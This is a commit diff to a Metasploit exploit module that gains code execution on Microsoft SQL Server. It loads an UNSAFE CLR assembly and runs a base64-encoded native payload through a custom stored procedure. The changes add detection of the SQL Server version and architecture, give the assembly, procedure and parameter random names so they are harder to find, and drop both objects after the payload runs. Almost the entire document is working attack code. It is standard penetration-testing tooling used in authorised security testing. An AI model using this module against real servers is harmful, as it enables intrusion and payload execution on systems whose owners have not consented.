Finalise module, and add supporting binaries
parent
1c62559e55
commit
2d834a3f5a
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -14,17 +14,19 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
|
'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module executes an arbitrary native payload on a Microsoft SQL
|
This module executes an arbitrary native payload on a Microsoft SQL
|
||||||
server by loading a custom SQL CLR Assembly into the target SQL
|
server by loading a custom SQL CLR Assembly into the target SQL
|
||||||
installation, and calling it directly with a base64-encoded payload.
|
installation, and calling it directly with a base64-encoded payload.
|
||||||
|
|
||||||
The module requires working credentials in order to connect directly to the
|
The module requires working credentials in order to connect directly to the
|
||||||
MSSQL Server.
|
MSSQL Server.
|
||||||
|
|
||||||
This method requires the user to have sufficient privileges to install a custom
|
This method requires the user to have sufficient privileges to install a custom
|
||||||
SQL CRL DLL, and invoke the custom stored procedure that comes with it.
|
SQL CRL DLL, and invoke the custom stored procedure that comes with it.
|
||||||
|
|
||||||
This exploit does not leave any binaries on disk.
|
This exploit does not leave any binaries on disk.
|
||||||
|
|
||||||
|
Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64).
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
@ -39,10 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Arch' => [ARCH_X86, ARCH_X64],
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
'Targets' =>
|
'Targets' => [['Automatic', {}]],
|
||||||
[
|
|
||||||
[ 'Automatic', { } ],
|
|
||||||
],
|
|
||||||
'DefaultTarget' => 0,
|
'DefaultTarget' => 0,
|
||||||
'DisclosureDate' => 'Jan 01 1999'
|
'DisclosureDate' => 'Jan 01 1999'
|
||||||
))
|
))
|
||||||
|
@ -55,10 +54,17 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
def check
|
def check
|
||||||
unless mssql_login_datastore
|
unless mssql_login_datastore
|
||||||
vprint_status("Invalid SQL Server credentials")
|
vprint_status('Invalid SQL Server credentials')
|
||||||
return Exploit::CheckCode::Detected
|
return Exploit::CheckCode::Detected
|
||||||
end
|
end
|
||||||
|
|
||||||
|
version = get_sql_version_string
|
||||||
|
|
||||||
|
unless version =~ /Server 20(05|08|12|14|16)/
|
||||||
|
vprint_status('Unsupported version of SQL Server')
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
if mssql_is_sysadmin
|
if mssql_is_sysadmin
|
||||||
vprint_good "User #{datastore['USERNAME']} is a sysadmin"
|
vprint_good "User #{datastore['USERNAME']} is a sysadmin"
|
||||||
Exploit::CheckCode::Vulnerable
|
Exploit::CheckCode::Vulnerable
|
||||||
|
@ -69,8 +75,26 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
disconnect
|
disconnect
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_sql_version_string
|
||||||
|
mssql_query("select @@version", false)[:rows].first[0]
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_sql_architecture(sql_version_string)
|
||||||
|
if sql_version_string =~ /(64-bit|x64)/i
|
||||||
|
ARCH_X64
|
||||||
|
else
|
||||||
|
ARCH_X86
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def get_exploit_version(sql_version_string)
|
def get_exploit_version(sql_version_string)
|
||||||
'v3.5'
|
# keeping it simple at this point.
|
||||||
|
if sql_version_string =~ /Server (2005|2008|2012)/
|
||||||
|
'v3.5'
|
||||||
|
else
|
||||||
|
# assume 2014/2016 at this point.
|
||||||
|
'v4.0'
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def set_trustworthy(on)
|
def set_trustworthy(on)
|
||||||
|
@ -99,14 +123,27 @@ RECONFIGURE;
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
mssql_login_datastore
|
unless mssql_login_datastore
|
||||||
|
fail_with(Failure::BadConfig, 'Unable to login with the given credentials')
|
||||||
|
end
|
||||||
|
|
||||||
unless mssql_is_sysadmin
|
unless mssql_is_sysadmin
|
||||||
fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
|
fail_with(Failure::BadConfig, 'Specified user lacks sufficient permissions')
|
||||||
end
|
end
|
||||||
|
|
||||||
unless datastore['EXITFUNC'].downcase == 'thread'
|
# This module will only support 'thread' for EXITFUNC
|
||||||
fail_with(Failure::BadConfig, 'EXITFUNC must be set to "thread"')
|
# Bad things happen to SQL otherwise!
|
||||||
|
unless datastore['EXITFUNC'] == 'thread'
|
||||||
|
print_warning("Setting EXITFUNC to 'thread' so we don't kill SQL Server")
|
||||||
|
datastore['EXITFUNC'] = 'thread'
|
||||||
|
end
|
||||||
|
|
||||||
|
sql_version = get_sql_version_string
|
||||||
|
vprint_status("Target SQL Version is:\n#{sql_version}")
|
||||||
|
|
||||||
|
sql_arch = get_sql_architecture(sql_version)
|
||||||
|
unless payload.arch.first == sql_arch
|
||||||
|
fail_with(Failure::BadConfig, "Target SQL server arch is #{sql_arch}, payload architecture is #{payload.arch.first}")
|
||||||
end
|
end
|
||||||
|
|
||||||
trustworthy = is_trustworthy
|
trustworthy = is_trustworthy
|
||||||
|
@ -122,10 +159,8 @@ RECONFIGURE;
|
||||||
enable_clr(true)
|
enable_clr(true)
|
||||||
end
|
end
|
||||||
|
|
||||||
sql_version = mssql_query("select @@version", false)[:rows].first[0]
|
|
||||||
vprint_status("Target SQL Version is:\n#{sql_version}")
|
|
||||||
exploit_version = get_exploit_version(sql_version)
|
exploit_version = get_exploit_version(sql_version)
|
||||||
print_status("Using version #{exploit_version} of the Assembly")
|
print_status("Using version #{exploit_version} of the Payload Assembly")
|
||||||
exploit_file_path = ::File.join(Msf::Config.install_root, 'data',
|
exploit_file_path = ::File.join(Msf::Config.install_root, 'data',
|
||||||
'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')
|
'SqlClrPayload', exploit_version, 'SqlClrPayload.dll')
|
||||||
vprint_status("Using #{exploit_file_path}")
|
vprint_status("Using #{exploit_file_path}")
|
||||||
|
@ -135,27 +170,30 @@ RECONFIGURE;
|
||||||
# Convert the assembly to the required format for execution of the stored
|
# Convert the assembly to the required format for execution of the stored
|
||||||
# procedure to create the custom stored proc
|
# procedure to create the custom stored proc
|
||||||
hex_assembly = "0x#{assembly.unpack('H*')[0]}"
|
hex_assembly = "0x#{assembly.unpack('H*')[0]}"
|
||||||
query = "CREATE ASSEMBLY [runstuff] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"
|
asm_name = Rex::Text.rand_text_alpha(rand(4) + 8)
|
||||||
|
query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE"
|
||||||
|
|
||||||
print_status('Adding custom payload assembly ...')
|
print_status('Adding custom payload assembly ...')
|
||||||
mssql_query(query, false)
|
mssql_query(query, false)
|
||||||
|
|
||||||
query = "CREATE PROCEDURE [dbo].[ExecuteB64Payload](@base64EncodedPayload AS NVARCHAR(MAX)) AS EXTERNAL NAME [runstuff].[StoredProcedures].[ExecuteB64Payload]"
|
proc_name = Rex::Text.rand_text_alpha(rand(4) + 8)
|
||||||
|
param_name = Rex::Text.rand_text_alpha(rand(4) + 8)
|
||||||
|
query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]"
|
||||||
|
|
||||||
print_status('Exposing payload execution stored procedure ...')
|
print_status('Exposing payload execution stored procedure ...')
|
||||||
mssql_query(query, false)
|
mssql_query(query, false)
|
||||||
|
|
||||||
# Generate the base64 encoded payload
|
# Generate the base64 encoded payload
|
||||||
b64payload = Rex::Text.encode_base64(payload.encoded)
|
b64payload = Rex::Text.encode_base64(payload.encoded)
|
||||||
query = "EXEC [dbo].[ExecuteB64Payload] '#{b64payload}'"
|
query = "EXEC [dbo].[#{proc_name}] '#{b64payload}'"
|
||||||
print_status('Executing the payload ...')
|
print_status('Executing the payload ...')
|
||||||
mssql_query(query, false)
|
mssql_query(query, false)
|
||||||
|
|
||||||
print_status('Removing stored procedure ...')
|
print_status('Removing stored procedure ...')
|
||||||
mssql_query('DROP PROCEDURE [dbo].[ExecuteB64payload]', false)
|
mssql_query("DROP PROCEDURE [dbo].[#{proc_name}]", false)
|
||||||
|
|
||||||
print_status('Removing assembly ...')
|
print_status('Removing assembly ...')
|
||||||
mssql_query('DROP ASSEMBLY [runstuff]', false)
|
mssql_query("DROP ASSEMBLY [#{asm_name}]", false)
|
||||||
|
|
||||||
unless clr_enabled
|
unless clr_enabled
|
||||||
print_status('Restoring CLR setting ...')
|
print_status('Restoring CLR setting ...')
|
||||||
|
|
Loading…
Reference in New Issue